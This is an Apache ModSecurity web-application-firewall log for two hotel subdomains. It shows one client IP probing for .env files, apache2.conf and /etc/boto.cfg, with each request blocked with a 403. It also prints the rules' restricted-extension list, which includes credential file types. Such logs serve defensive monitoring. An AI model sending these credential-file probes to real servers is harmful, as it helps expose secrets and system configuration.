[Sun Oct 25 04:06:31.354064 2026] [security2:error] [pid 2781524:tid 2781524] [client 93.123.109.247:20780] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /development/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/development/.env"] [unique_id "at24h4HtOs-nfC4GshpSAQAAABc"]
[Sun Oct 25 04:06:31.354192 2026] [security2:error] [pid 2781524:tid 2781524] [client 93.123.109.247:20780] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/development/.env"] [unique_id "at24h4HtOs-nfC4GshpSAQAAABc"]
[Sun Oct 25 04:06:31.354453 2026] [security2:error] [pid 2781524:tid 2781524] [client 93.123.109.247:20780] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/development/.env"] [unique_id "at24h4HtOs-nfC4GshpSAQAAABc"]
[Sun Oct 25 04:06:31.355489 2026] [security2:error] [pid 2781507:tid 2781507] [client 93.123.109.247:20818] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /developer/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/developer/.env"] [unique_id "at24h568N771hz7W4KlslgAAAAw"]
[Sun Oct 25 04:06:31.355614 2026] [security2:error] [pid 2781507:tid 2781507] [client 93.123.109.247:20818] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/developer/.env"] [unique_id "at24h568N771hz7W4KlslgAAAAw"]
[Sun Oct 25 04:06:31.355873 2026] [security2:error] [pid 2781507:tid 2781507] [client 93.123.109.247:20818] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/developer/.env"] [unique_id "at24h568N771hz7W4KlslgAAAAw"]
[Sun Oct 25 04:06:31.387928 2026] [security2:error] [pid 2781480:tid 2781480] [client 93.123.109.247:20820] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /development/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/development/.env"] [unique_id "at24h6rU4NwppjTEGaL62gAAAAY"]
[Sun Oct 25 04:06:31.388123 2026] [security2:error] [pid 2781480:tid 2781480] [client 93.123.109.247:20820] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/development/.env"] [unique_id "at24h6rU4NwppjTEGaL62gAAAAY"]
[Sun Oct 25 04:06:31.388466 2026] [security2:error] [pid 2781480:tid 2781480] [client 93.123.109.247:20820] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/development/.env"] [unique_id "at24h6rU4NwppjTEGaL62gAAAAY"]
[Sun Oct 25 04:06:31.624398 2026] [security2:error] [pid 2781030:tid 2781030] [client 93.123.109.247:20806] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "hoteles1.sherwinpinturas.com"] [uri "/editor/*"] [unique_id "at24h7QKh4dfs72fmHxwTAAAAAE"]
[Sun Oct 25 04:06:31.688216 2026] [security2:error] [pid 2781030:tid 2781030] [client 93.123.109.247:20806] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "hoteles1.sherwinpinturas.com"] [uri "/editor/*"] [unique_id "at24h7QKh4dfs72fmHxwTAAAAAE"]
[Sun Oct 25 04:06:32.045279 2026] [security2:error] [pid 2762145:tid 2762145] [client 93.123.109.247:20792] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /erp/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/erp/.env"] [unique_id "at24iFTnwNJm6o1fQZIjBwAAAAI"]
[Sun Oct 25 04:06:32.204120 2026] [security2:error] [pid 2762145:tid 2762145] [client 93.123.109.247:20792] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/erp/.env"] [unique_id "at24iFTnwNJm6o1fQZIjBwAAAAI"]
[Sun Oct 25 04:06:32.204445 2026] [security2:error] [pid 2762145:tid 2762145] [client 93.123.109.247:20792] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/erp/.env"] [unique_id "at24iFTnwNJm6o1fQZIjBwAAAAI"]
[Sun Oct 25 04:06:32.155841 2026] [security2:error] [pid 2781480:tid 2781480] [client 93.123.109.247:20820] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /erp/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/erp/.env"] [unique_id "at24iKrU4NwppjTEGaL64QAAAAY"]
[Sun Oct 25 04:06:32.206767 2026] [security2:error] [pid 2781480:tid 2781480] [client 93.123.109.247:20820] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/erp/.env"] [unique_id "at24iKrU4NwppjTEGaL64QAAAAY"]
[Sun Oct 25 04:06:32.207023 2026] [security2:error] [pid 2781480:tid 2781480] [client 93.123.109.247:20820] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/erp/.env"] [unique_id "at24iKrU4NwppjTEGaL64QAAAAY"]
[Sun Oct 25 04:06:32.166003 2026] [security2:error] [pid 2781523:tid 2781523] [client 93.123.109.247:20770] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/etc/apache2/apache2.conf"] [unique_id "at24iNxXWZMI2DaSlsHxgwAAABY"]
[Sun Oct 25 04:06:32.213875 2026] [security2:error] [pid 2781523:tid 2781523] [client 93.123.109.247:20770] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/etc/apache2/apache2.conf"] [unique_id "at24iNxXWZMI2DaSlsHxgwAAABY"]
[Sun Oct 25 04:06:32.214181 2026] [security2:error] [pid 2781523:tid 2781523] [client 93.123.109.247:20770] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/etc/apache2/apache2.conf"] [unique_id "at24iNxXWZMI2DaSlsHxgwAAABY"]
[Sun Oct 25 04:06:32.244979 2026] [security2:error] [pid 2781507:tid 2781507] [client 93.123.109.247:20818] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/etc/apache2/apache2.conf"] [unique_id "at24iJ68N771hz7W4KlsngAAAAw"]
[Sun Oct 25 04:06:32.281033 2026] [security2:error] [pid 2781507:tid 2781507] [client 93.123.109.247:20818] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/etc/apache2/apache2.conf"] [unique_id "at24iJ68N771hz7W4KlsngAAAAw"]
[Sun Oct 25 04:06:32.272571 2026] [security2:error] [pid 2775684:tid 2775684] [client 93.123.109.247:13938] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".cfg"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/etc/boto.cfg"] [unique_id "at24iAanevcJbML2UkvoPAAAAAU"]
[Sun Oct 25 04:06:32.296973 2026] [security2:error] [pid 2775684:tid 2775684] [client 93.123.109.247:13938] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/etc/boto.cfg"] [unique_id "at24iAanevcJbML2UkvoPAAAAAU"]
[Sun Oct 25 04:06:32.297265 2026] [security2:error] [pid 2775684:tid 2775684] [client 93.123.109.247:13938] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/etc/boto.cfg"] [unique_id "at24iAanevcJbML2UkvoPAAAAAU"]
[Sun Oct 25 04:06:32.298875 2026] [security2:error] [pid 2781030:tid 2781030] [client 93.123.109.247:20806] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".cfg"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/etc/boto.cfg"] [unique_id "at24iLQKh4dfs72fmHxwTgAAAAE"]
[Sun Oct 25 04:06:32.299204 2026] [security2:error] [pid 2781030:tid 2781030] [client 93.123.109.247:20806] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/etc/boto.cfg"] [unique_id "at24iLQKh4dfs72fmHxwTgAAAAE"]
[Sun Oct 25 04:06:32.299525 2026] [security2:error] [pid 2781030:tid 2781030] [client 93.123.109.247:20806] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/etc/boto.cfg"] [unique_id "at24iLQKh4dfs72fmHxwTgAAAAE"]
[Sun Oct 25 04:06:32.300896 2026] [security2:error] [pid 2781480:tid 2781480] [client 93.123.109.247:20820] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /fe/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/fe/.env"] [unique_id "at24iKrU4NwppjTEGaL64gAAAAY"]
[Sun Oct 25 04:06:32.301069 2026] [security2:error] [pid 2781480:tid 2781480] [client 93.123.109.247:20820] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/fe/.env"] [unique_id "at24iKrU4NwppjTEGaL64gAAAAY"]
[Sun Oct 25 04:06:32.301382 2026] [security2:error] [pid 2781480:tid 2781480] [client 93.123.109.247:20820] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/fe/.env"] [unique_id "at24iKrU4NwppjTEGaL64gAAAAY"]
[Sun Oct 25 04:06:32.303098 2026] [security2:error] [pid 2762145:tid 2762145] [client 93.123.109.247:20792] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /fe/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/fe/.env"] [unique_id "at24iFTnwNJm6o1fQZIjCAAAAAI"]
[Sun Oct 25 04:06:32.303296 2026] [security2:error] [pid 2762145:tid 2762145] [client 93.123.109.247:20792] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/fe/.env"] [unique_id "at24iFTnwNJm6o1fQZIjCAAAAAI"]
[Sun Oct 25 04:06:32.303620 2026] [security2:error] [pid 2762145:tid 2762145] [client 93.123.109.247:20792] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/fe/.env"] [unique_id "at24iFTnwNJm6o1fQZIjCAAAAAI"]
[Sun Oct 25 04:06:32.294434 2026] [security2:error] [pid 2781507:tid 2781507] [client 93.123.109.247:20818] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/etc/apache2/apache2.conf"] [unique_id "at24iJ68N771hz7W4KlsngAAAAw"]
[Sun Oct 25 04:06:32.512667 2026] [security2:error] [pid 2775684:tid 2775684] [client 93.123.109.247:13938] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /front/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/front/.env"] [unique_id "at24iAanevcJbML2UkvoPgAAAAU"]
[Sun Oct 25 04:06:32.512917 2026] [security2:error] [pid 2775684:tid 2775684] [client 93.123.109.247:13938] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/front/.env"] [unique_id "at24iAanevcJbML2UkvoPgAAAAU"]
[Sun Oct 25 04:06:32.513183 2026] [security2:error] [pid 2775684:tid 2775684] [client 93.123.109.247:13938] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/front/.env"] [unique_id "at24iAanevcJbML2UkvoPgAAAAU"]
